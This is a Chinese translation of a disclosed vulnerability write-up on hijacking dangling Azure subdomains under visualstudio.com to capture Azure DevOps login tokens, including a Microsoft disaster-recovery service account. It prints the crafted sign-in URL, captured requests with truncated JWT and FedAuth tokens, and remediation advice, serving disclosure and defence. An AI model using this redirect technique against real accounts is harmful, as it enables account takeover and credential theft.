这篇文章详细介绍了我们如何接管 Azure Devops 子域以启用一键式 Azure Devops 帐户接管以及接管 微软 灾难恢复帐户的额外处理。

背景

在 Binary Security 中，我们预留了 20% 的工作时间用于研究，去年，我们决定花一些时间研究 Azure DevOps。在其中一个 API 中，我们注意到有几个visualstudio.com域引用了cloudapp.azure.com一些无法解析的子域。由于这些通常容易受到Subdomain Takeover的攻击，我们决定在我们自己的 Azure 租户中注册它们并监控发送给它们的流量。

我们控制了以下域：

• feedsprodwcus0drdr.westus2.cloudapp.azure.com
• pkgsprodwcus0drdr.westus2.cloudapp.azure.com

接着又让我们可以控制：

• feedsprodwcus0dr.feeds.visualstudio.com
• pkgsprodwcus0dr.pkgs.visualstudio.com

监控流量

子域接管的影响差异很大，影响相对较小的情况，最常见是攻击者获得公司域的访问权限仅能用于钓鱼。有时，子域接管可以与其他漏洞结合使用，例如，在另一个域上实现跨站点脚本，如果没有接管子域就无法利用。子域接管的一个经常被忽视的方面是，它们可能会从用户或自动化系统接收实时数据，这些数据有时甚至包括凭据！

在与客户合作时，我们通常可以访问源代码和内部 DNS 系统，并且可以在不监控流量的情况下评估影响。当我们没有这种便利时，我们会劫持子域并监控它接收到的流量。我们通常将其与即时消息平台集成以获得通知。可以在此处找到用于启动 Azure VM 将流量重定向到我们的日志服务器的脚本（编辑 nginx 配置以指向您的回调服务器）：

• https://gist.github.com/chhans/46fbae4ef57503905883508225ab0eec

AZURE DEVOPS 帐户接管

访问以下 URL 将验证 Azure DevOps 中的用户并将他们重定向到我们的域。

https://app.vssps.visualstudio.com/_signin?realm=app.vsaex.visualstudio.com&reply_to= https://feedsprodwcus0dr.feeds.visualstudio.com/ &redirect=1

该reply_to参数必须是允许域的子域，例如*.visualstudio.com. 发送到我们服务器的请求类似这样：

POST /_signedin?realm=feedsprodwcus0dr.feeds.visualstudio.com&protocol=wsfederation&reply_to=https%3A%2F%2Ffeedsprodwcus0dr.feeds.visualstudio.com%2F HTTP/2
Host: feedsprodwcus0dr.vssps.visualstudio.com
Content-Length: 4620
Origin: https://app.vssps.visualstudio.com
Content-Type: application/x-www-form-urlencoded
Referer: https://app.vssps.visualstudio.com/
<...truncated...>
id_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkhQVlR4QUpVV1M2NVZQYUZ4em53b0lqd0JFQSJ9.<...>.u1FHV8-J4ByuflfiPWp1ZriToHJnalrz9s2xRreEIbYdbf9FS2v7sAH_1uGDq0eWa0iekUJm1gWNMh_ndiSl4dKd-vjmuDOk_BGxci-upVFIFkM14klFvnqOu6gtSY5HyOOhrOem-GD91P7q64P511bB3XSX0QoFm2PhrwwutlwHHBeXEep1PmobLMp_q1Lqqivyg2tXjL3gE6ak2FsRTbcgSq6-sr6QOCO6JyDI_d5yPAC-SkzEkhhdDy9XBXGEkq6oYGz2ssHNyy9J-wzOQTND8-aaSJgRN_VQ4n5rgwnvD-ikf3qbYn9zPxeM1FwpwsvAH-0p0D5Of08lyn-X-g
&FedAuth=77u%2FPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U2VjdXJpdHlDb250ZXh0VG9rZW4gcDE6SWQ9Il9mNWMyNDFiZS1jMzg5LTQ5MmEtOWNkYi04MThkZjRhYThjNmItMzZGRTM5NUM5MjQ2ODRGQThBNzBGMjk1OUNCQzY1QUYiIHhtbG5zOnAxPSJodHRwOi8vZG9jcy5vYXNpcy1vcGVuLm9yZy93c3MvMjAwNC8wMS9vYXNpcy0yMDA0<...>
&FedAuth1=L0FBbUV1b3<...>

验证令牌id_token可用于以该用户身份直接（甚至通过 GUI）向 Azure DevOps 进行身份验证，并使我们能够完全控制用户的帐户。

我们没有完全了解为什么到visualstudio.com域的流量会路由到我们的 Azure VM，但根据从 Front Door 发送的运行状况探测将其归因于 微软 Edge 路由配置，例如：

GET http://feedsprodwcus0dr.feeds.visualstudio.com/_apis/health
Host: feedsprodwcus0dr.feeds.visualstudio.com
Synthetictest-Id: default_feeds--wcus--feeds-wcus-0dr_us-ca-sjc-azr
Synthetictest-Location: us-ca-sjc-azr
X-Fd-Clientip: 40.91.82.48
X-Fd-Corpnet: 0
X-Fd-Edgeenvironment: Edge-Prod-CO1r1
X-Fd-Originalurl: https://feedsprodwcus0dr.feeds.visualstudio.com:443/_apis/health
X-Fd-Partner: VSTS_feed
X-Fd-Routekey: v02=|v00=feedsprodwcus0dr.feeds.visualstudio.com
X-Fd-Routekeyapplicationendpointlist: feedsprodwcus0drdr.westus2.cloudapp.azure.com
<...truncated...>

此时，我们向微软安全响应中心报告了该漏洞，但保持监控服务器运行。

灾难恢复管道签入

当天晚些时候，当我们继续研究其他 Azure 服务时，一个神秘的 HTTP 请求被发送到我们的监控 Web 服务器并进入了我们的 IM 频道。

GET /_apis/connectionData&connectOptions=1&lastChangeId=-1&lastChangeId64=-1 HTTP/1.1
Host: feedsprodwcus0dr.feeds.visualstudio.com
User-Agent: VSTest.Console.exe
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Im5PbzNaRHJPRFhFSzFqS1doWHNsSFJfS1hFZyIsImtpZCI6Im5PbzNaRHJPRFhFSzFqS1doWHNsSFJfS1hFZyJ9.eyJhdWQiOiI0OTliODRhYy0xMzIxLTQyN2YtYWExNy0yNjdjYTY5NzU3OTgiLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC83YTJiZWJkNC0wN2I0LTQzMDYtOWE5OS00ZDliOTI4ZTQ4ZmUvIiwiaWF0IjoxNjEzNjQ2MDA0LCJuYmYiOjE2MTM2NDYwMDQsImV4cCI6MTYxMzY0OTkwNCwiYWNyIjoiMSIsImFpbyI6IkUyWmdZRmp0dkdLdjJQRjFjOVorNVBhTkZ2a2NIYzNJT3VXUWVMdlpYWE92VnhLMnR6TUEiLCJhbXIiOlsicHdkIl0sImFwcGlkIjoiODcyY2Q5ZmEtZDMxZi00NWUwLTllYWItNmU0NjBhMDJkMWYxIiwiYXBwaWRhY3IiOiIwIiwiaXBhZGRyIjoiMTMuNzcuMTgyLjIyNyIsIm5hbWUiOiJQYWNrYWdpbmdBcnRpZmFjdHNMMyIsIm9pZCI6Ijg1YzU3ZGRkLWVjODAtNDI3OC04MTlhLWNmNTM1ZWQ0N2IxNCIsInB1aWQiOiIxMDAzMjAwMDUyRTFBQzI3IiwicmgiOiIwLkFUVUExT3NyZXJRSEJrT2FtVTJia281SV92clpMSWNmMC1CRm5xdHVSZ29DMGZFMUFLby4iLCJzY3AiOiJ1c2VyX2ltcGVyc29uYXRpb24iLCJzdWIiOiI3cWpzVlllY0l4dktpWWRkOHRTV0sxYURod010aWdGMDBqQlNRSk9CT3h3IiwidGlkIjoiN2EyYmViZDQtMDdiNC00MzA2LTlhOTktNGQ5YjkyOGU0OGZlIiwidW5pcXVlX25hbWUiOiJQYWNrYWdpbmdBcnRpZmFjdHNMM0BhemRldm9wcy5vbm1pY3Jvc29mdC5jb20iLCJ1cG4iOiJQYWNrYWdpbmdBcnRpZmFjdHNMM0BhemRldm9wcy5vbm1pY3Jvc29mdC5jb20iLCJ1dGkiOiJfNzBZZ1Ria1dFV09ZOTBjWDZZdEFBIiwidmVyIjoiMS4wIiwid2lkcyI6WyJiNzlmYmY0ZC0zZWY5LTQ2ODktODE0My03NmIxOTRlODU1MDkiXX0.<...>
<...trunc...>

通过解码 JWT，我们看到它对应于具有 UPN 的服务帐户[email protected]。账户与Azure DevOps相关，当我们用它登录时，我们看到它可以访问与BCDR（业务连续性和灾难恢复）相关的组织codesharing-wcus-0dr。

由于这些测试称为包管理 API，因此很可能它也会下载并包含组件。由于托管恶意组件可能会对 微软 系统产生负面影响，我们联系了 微软 并在尝试之前要求确认，但从未得到任何回应。我想我们永远不会知道。

CONTOSO 帐户

我们的服务器还收到了 Contoso 域上用户 MOD 管理员的凭据。我们猜测这是 MSRC 进行的第一次分类。

微软的回应

在几个月没有响应之后，MSRC 将漏洞分类如下：

• 严重性：重要

• 安全影响：欺骗

它被标记为超出范围且未获得奖励，因为它依赖于子域接管。我们认为，在错误赏金计划中不奖励真正的问题是一个坏主意，因为它消除了将来报告类似问题的动力。同一时期，我们也在研究 Azure API 管理，接管了过去指向 AKS 集群、功能程序等的后端子域，其中许多接收实时流量。然而，由于持有这些 Azure 资源需要我们花钱，所以我们释放了它们，因为继续研究对我们来说在经济上没有意义。

尽管如此，漏洞赏金计划的奖励是 100%，我们尊重 MSRC 的决定。

修复

这个特殊情况是一个留空的 CNAME 记录。确定您的域中是否有任何这些内容的最简单方法是尝试对所有这些内容执行 DNS 查找并记下无法解析的内容（例如，sub.example.org有CNAME记录iapp01.westus2.cloudapp.azure.com，但无法解析）。

微软已经制作了一个工具来识别留空的 CNAME 记录以及关于这个主题的文章。

其他 DNS 记录类型也可能存在漏洞，例如 NS、MX、A 和 AAAA。NS 和 MX 记录通常会受到有针对性的接管。指向 Azure 或其他云提供商中 IP 地址的留空 A 和 AAAA 记录通常很难接管，但仍可以重新分配给其他租户。

要点

• 自动审核您的 DNS 条目以发现（并修复）潜在的子域接管，尤其是在您严重依赖 Azure 的情况下。

• 对于红队队员和漏洞赏金猎人：捕获来自子域接管的流量以展示影响。

时间线

• 2021 年 2 月 18 日：向 微软 报告
• 2021 年 2 月 23 日：Contoso 域的 MOD 管理员访问该域
• 3 月 9 日：询问微软是否可以尝试通过提供恶意包来接管管道。没有回应。
• 2021 年 5 月 7 日：要求微软更新
• 2021 年 5 月 19 日：被 微软 标记为超出范围，因为它依赖于子域接管
• 2022 年 3 月 11 日：由 微软 标记为已修复